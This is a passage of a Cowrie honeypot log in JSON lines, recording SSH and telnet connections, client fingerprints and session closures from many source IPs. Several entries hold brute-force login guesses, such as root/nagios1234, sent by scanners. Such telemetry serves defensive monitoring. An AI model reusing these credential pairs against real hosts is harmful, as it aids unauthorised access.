m@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:02.185442Z","src_ip":"80.94.92.184","session":"89d8e44501ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456.cn","message":"login attempt [solv/123456.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:02.694942Z","src_ip":"80.94.92.184","session":"89d8e44501ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:02.842906Z","src_ip":"171.244.37.103","session":"2653320cc6a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.68226385116577,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:02.923610Z","src_ip":"152.42.224.71","session":"c19929b385db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:03.809334Z","src_ip":"80.94.92.184","session":"89d8e44501ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.64591360092163,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:04.114568Z","src_ip":"152.42.224.71","session":"cb625cba240b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":58552,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa29a5a0fadb","protocol":"ssh","message":"New connection: 46.19.67.181:58552 (10.17.0.5:22) [session: fa29a5a0fadb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:07.455646Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":13950,"dst_ip":"159.203.135.109","dst_port":22,"session":"846a580b9e33","protocol":"ssh","message":"New connection: 38.93.206.2:13950 (159.203.135.109:22) [session: 846a580b9e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:08.485559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:08.490342Z","src_ip":"38.93.206.2","session":"846a580b9e33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:08.578800Z","src_ip":"38.93.206.2","session":"846a580b9e33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:08.766923Z","src_ip":"38.93.206.2","session":"846a580b9e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:09.833501Z","src_ip":"38.93.206.2","session":"846a580b9e33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":40048,"dst_ip":"10.17.0.5","dst_port":22,"session":"5824671a5ec5","protocol":"ssh","message":"New connection: 43.134.142.250:40048 (10.17.0.5:22) [session: 5824671a5ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:10.136444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:10.147859Z","src_ip":"43.134.142.250","session":"5824671a5ec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:10.386747Z","src_ip":"43.134.142.250","session":"5824671a5ec5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yang5201314","message":"login attempt [root/yang5201314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:11.373173Z","src_ip":"43.134.142.250","session":"5824671a5ec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:12.615483Z","src_ip":"43.134.142.250","session":"5824671a5ec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.66153383255005,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:21.311566Z","src_ip":"152.42.224.71","session":"e92baf7331e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41274,"dst_ip":"10.17.0.5","dst_port":23,"session":"60b564124107","protocol":"telnet","message":"New connection: 152.42.224.71:41274 (10.17.0.5:23) [session: 60b564124107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:22.279717Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":44864,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf74e37a24ae","protocol":"telnet","message":"New connection: 34.22.125.139:44864 (10.17.0.5:23) [session: bf74e37a24ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:24.000586Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41286,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad62eac7414a","protocol":"telnet","message":"New connection: 152.42.224.71:41286 (10.17.0.5:23) [session: ad62eac7414a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:24.021640Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":44878,"dst_ip":"10.17.0.5","dst_port":23,"session":"743faf81215d","protocol":"telnet","message":"New connection: 34.22.125.139:44878 (10.17.0.5:23) [session: 743faf81215d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:24.156230Z"}
{"eventid":"cowrie.session.closed","duration":0.00738835334777832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:24.163487Z","src_ip":"34.22.125.139","session":"743faf81215d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":44888,"dst_ip":"10.17.0.5","dst_port":23,"session":"611cbfa3c524","protocol":"telnet","message":"New connection: 34.22.125.139:44888 (10.17.0.5:23) [session: 611cbfa3c524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:24.314619Z"}
{"eventid":"cowrie.session.closed","duration":1.6867806911468506,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:25.687249Z","src_ip":"34.22.125.139","session":"bf74e37a24ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.35490965843201,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:29.874457Z","src_ip":"152.42.224.71","session":"8fe0d115f0e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":52790,"dst_ip":"10.17.0.5","dst_port":22,"session":"53d68fe10d2a","protocol":"ssh","message":"New connection: 79.117.24.180:52790 (10.17.0.5:22) [session: 53d68fe10d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:32.618127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:32.622196Z","src_ip":"79.117.24.180","session":"53d68fe10d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:32.730346Z","src_ip":"79.117.24.180","session":"53d68fe10d2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nagios1234","message":"login attempt [root/nagios1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:33.194560Z","src_ip":"79.117.24.180","session":"53d68fe10d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49506,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd5d5c124268","protocol":"telnet","message":"New connection: 152.42.224.71:49506 (10.17.0.5:23) [session: cd5d5c124268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:33.711128Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49522,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2da35ff165c","protocol":"telnet","message":"New connection: 152.42.224.71:49522 (10.17.0.5:23) [session: b2da35ff165c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:34.138749Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:34.304666Z","src_ip":"79.117.24.180","session":"53d68fe10d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49528,"dst_ip":"10.17.0.5","dst_port":23,"session":"4686f9b91a48","protocol":"telnet","message":"New connection: 152.42.224.71:49528 (10.17.0.5:23) [session: 4686f9b91a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:34.875988Z"}
{"eventid":"cowrie.session.closed","duration":120.00553250312805,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:39.438843Z","src_ip":"152.42.224.71","session":"0a258292420b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43776,"dst_ip":"10.17.0.5","dst_port":23,"session":"8268eeea8e98","protocol":"telnet","message":"New connection: 152.42.224.71:43776 (10.17.0.5:23) [session: 8268eeea8e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:40.238363Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18748,"dst_ip":"10.17.0.5","dst_port":23,"session":"682521a8ef40","protocol":"telnet","message":"New connection: 34.22.125.139:18748 (10.17.0.5:23) [session: 682521a8ef40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:43.473336Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:43.478096Z","src_ip":"34.22.125.139","session":"682521a8ef40","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:43.481968Z","src_ip":"34.22.125.139","session":"682521a8ef40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0873260498046875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:43.560524Z","src_ip":"34.22.125.139","session":"682521a8ef40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18760,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f14dced7a12","protocol":"telnet","message":"New connection: 34.22.125.139:18760 (10.17.0.5:23) [session: 3f14dced7a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:43.634716Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18764,"dst_ip":"10.17.0.5","dst_port":23,"session":"49207c7a2831","protocol":"telnet","message":"New connection: 34.22.125.139:18764 (10.17.0.5:23) [session: 49207c7a2831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:43.790702Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18780,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec9e2a83a705","protocol":"telnet","message":"New connection: 34.22.125.139:18780 (10.17.0.5:23) [session: ec9e2a83a705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:43.950805Z"}
{"eventid":"cowrie.session.closed","duration":0.23685026168823242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:44.027433Z","src_ip":"34.22.125.139","session":"49207c7a2831","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.39710426330566406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:44.031708Z","src_ip":"34.22.125.139","session":"3f14dced7a12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.725355625152588,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:44.039842Z","src_ip":"34.22.125.139","session":"611cbfa3c524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18788,"dst_ip":"10.17.0.5","dst_port":23,"session":"628355f757f7","protocol":"telnet","message":"New connection: 34.22.125.139:18788 (10.17.0.5:23) [session: 628355f757f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:44.106730Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18792,"dst_ip":"10.17.0.5","dst_port":23,"session":"a834e9db2feb","protocol":"telnet","message":"New connection: 34.22.125.139:18792 (10.17.0.5:23) [session: a834e9db2feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:44.262000Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18808,"dst_ip":"10.17.0.5","dst_port":23,"session":"d15c43daebd1","protocol":"telnet","message":"New connection: 34.22.125.139:18808 (10.17.0.5:23) [session: d15c43daebd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:44.418202Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18812,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5a27b898241","protocol":"telnet","message":"New connection: 34.22.125.139:18812 (10.17.0.5:23) [session: b5a27b898241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:44.573481Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18828,"dst_ip":"10.17.0.5","dst_port":23,"session":"f320d7346ddb","protocol":"telnet","message":"New connection: 34.22.125.139:18828 (10.17.0.5:23) [session: f320d7346ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:44.729204Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18834,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d1b60c08f40","protocol":"telnet","message":"New connection: 34.22.125.139:18834 (10.17.0.5:23) [session: 6d1b60c08f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:44.889240Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18836,"dst_ip":"10.17.0.5","dst_port":23,"session":"03c4fc96332f","protocol":"telnet","message":"New connection: 34.22.125.139:18836 (10.17.0.5:23) [session: 03c4fc96332f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:45.124463Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18850,"dst_ip":"10.17.0.5","dst_port":23,"session":"58294f033877","protocol":"telnet","message":"New connection: 34.22.125.139:18850 (10.17.0.5:23) [session: 58294f033877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:45.279358Z"}
{"eventid":"cowrie.session.closed","duration":0.0057752132415771484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:45.285005Z","src_ip":"34.22.125.139","session":"58294f033877","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18862,"dst_ip":"10.17.0.5","dst_port":23,"session":"389b97558276","protocol":"telnet","message":"New connection: 34.22.125.139:18862 (10.17.0.5:23) [session: 389b97558276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:45.436617Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18872,"dst_ip":"10.17.0.5","dst_port":23,"session":"42ae70935058","protocol":"telnet","message":"New connection: 34.22.125.139:18872 (10.17.0.5:23) [session: 42ae70935058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:45.593161Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18880,"dst_ip":"10.17.0.5","dst_port":23,"session":"7efa25d5d681","protocol":"telnet","message":"New connection: 34.22.125.139:18880 (10.17.0.5:23) [session: 7efa25d5d681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:45.748243Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38352,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cdd32d73590","protocol":"telnet","message":"New connection: 152.42.224.71:38352 (10.17.0.5:23) [session: 6cdd32d73590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:45.867207Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18882,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b7cff086c15","protocol":"telnet","message":"New connection: 34.22.125.139:18882 (10.17.0.5:23) [session: 8b7cff086c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:45.904846Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18884,"dst_ip":"10.17.0.5","dst_port":23,"session":"87f224210627","protocol":"telnet","message":"New connection: 34.22.125.139:18884 (10.17.0.5:23) [session: 87f224210627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:46.062951Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18890,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d9f47207b28","protocol":"telnet","message":"New connection: 34.22.125.139:18890 (10.17.0.5:23) [session: 2d9f47207b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:46.220667Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18902,"dst_ip":"10.17.0.5","dst_port":23,"session":"62e5fb7a3da7","protocol":"telnet","message":"New connection: 34.22.125.139:18902 (10.17.0.5:23) [session: 62e5fb7a3da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:46.377059Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18906,"dst_ip":"10.17.0.5","dst_port":23,"session":"00b5735fcc2f","protocol":"telnet","message":"New connection: 34.22.125.139:18906 (10.17.0.5:23) [session: 00b5735fcc2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:46.531505Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":18908,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc0dea77eacb","protocol":"telnet","message":"New connection: 34.22.125.139:18908 (10.17.0.5:23) [session: cc0dea77eacb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:46.685913Z"}
